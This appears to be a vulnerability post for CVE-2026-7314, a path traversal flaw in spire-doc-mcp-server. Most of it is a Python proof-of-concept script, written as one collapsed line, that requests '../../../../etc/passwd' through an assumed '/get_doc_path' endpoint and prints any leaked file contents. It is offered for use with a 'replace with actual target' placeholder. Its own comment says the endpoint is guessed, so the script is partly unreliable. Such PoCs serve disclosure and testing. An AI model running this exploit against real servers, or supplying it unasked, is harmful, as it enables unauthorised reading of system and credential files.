CVE-2026-7314 spire-doc-mcp-server路径遍历漏洞

import requests def exploit_path_traversal(target_url): """ Proof of Concept for CVE-2026-7314 Attempts to read /etc/passwd using path traversal. """ # The vulnerable endpoint is assumed to be '/get_doc_path' based on function name endpoint = f"{target_url}/get_doc_path" # Payload using '../' to traverse to the root directory and access /etc/passwd params = { "document_name": "../../../../etc/passwd" } try: response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: print("[+] Request successful. Checking for file content...") if "root:" in response.text: print("[+] Vulnerability confirmed! /etc/passwd content leaked:") print(response.text) else: print("[-] Response received, but file content not detected.") print(response.text[:200]) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8000" # Replace with actual target exploit_path_traversal(target)